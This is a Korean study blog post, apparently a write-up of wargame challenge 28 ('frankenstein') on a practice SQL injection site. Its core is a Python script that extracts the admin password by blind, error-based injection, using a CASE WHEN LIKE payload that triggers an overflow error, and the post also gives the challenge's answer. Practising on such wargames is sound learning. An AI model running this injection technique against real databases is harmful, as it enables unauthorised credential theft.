Today I Learned …

[Lord of SQL Injection] 28번 frankenstein 풀이 본문

Wargame/Lord of SQL Injection

[Lord of SQL Injection] 28번 frankenstein 풀이

염베리 2021. 12. 25. 01:47

* 개인적인 공부 내용을 기록한 글입니다.


사담

와 진짜 처음부터 끝까지 분노 유발한 문제다 ㅋㅋㅋㅋㅋㅋ

하... 아직도 끝부분이 좀 미제라 맑은 정신에서 다시 봐야할 것 같다...


이전 문제

https://choco4study.tistory.com/120

 

[Lord of SQL Injection] 27번 blue_dragon 풀이

* 개인적인 공부 내용을 기록한 글입니다. 사담 아.... 거의 다 썼는데 날아가서 다시 쓴다 ㅎ... 요즘 왜 뭘 자꾸 날리는지 모르겠다...ㅠㅠ 이전 문제 https://choco4study.tistory.com/119 [Lord of SQL Inject..

choco4study.tistory.com


28번 문제 frankenstein 분석 및 풀이

 

 

28번 문제는 다음과 같다.

 

 

자세한 설명은 다음에 추가...

 

[중요!] like 뒷부분의 %를 URL 인코딩한 값인 %25로 적어주어야한다.

 

 

LoS 28번 Python Script

import requests

url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
cookie = {"PHPSESSID":"2evml88c628kabc2j1vfk63ks9"}

print("🖤 Start SQLi...")

ans = ""
end = False

for i in range(1, 100):
    if(end==True):
        print(f">> There's No Letter {i}")
        break
    end = True
    print(f"🖤 Checking letter {i}...")
    for asc in range(48, 127):
        search = ans+chr(asc)
        payload = f"?pw=' || CASE WHEN id='admin' and pw like '{search}%25' THEN 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF ELSE 0 END %23"
        res = requests.get(url+payload, cookies=cookie)
        if("login_chk" in res.text):
            continue
        elif("error" in res.text):
            print(f">> Letter {i} → {chr(asc)}")
            ans+=chr(asc)
            end = False
            break

print(f"🖤 Answer : {ans}")

Result

 

 

근데 여기서 끝이 아니었다.

자동화 공격 결과 분명 답은 숫자와 알파벳 대문자의 조합으로 나왔건만...

ㅋ ㅋ ㅋ ㅋ 아무리 넣어봐도 안 풀렸다;

 

당황해서 다른 블로그 글을 찾아봤더니 답은 0dc4efbb 였다.

이 부분은 아직도 이해가 안가서 내일 다시 봐야할 것 같다.

왜 아스키로 검색했는데 대소문자가 반대로 나오는지... 정말 의문이다 하 ㅠ

 

뭐 어쨌든 찾은 답을 넣어보면,

 

 

28번이 풀린다.

프로필사진
berry
FE Developer, loves React & better DX
Comments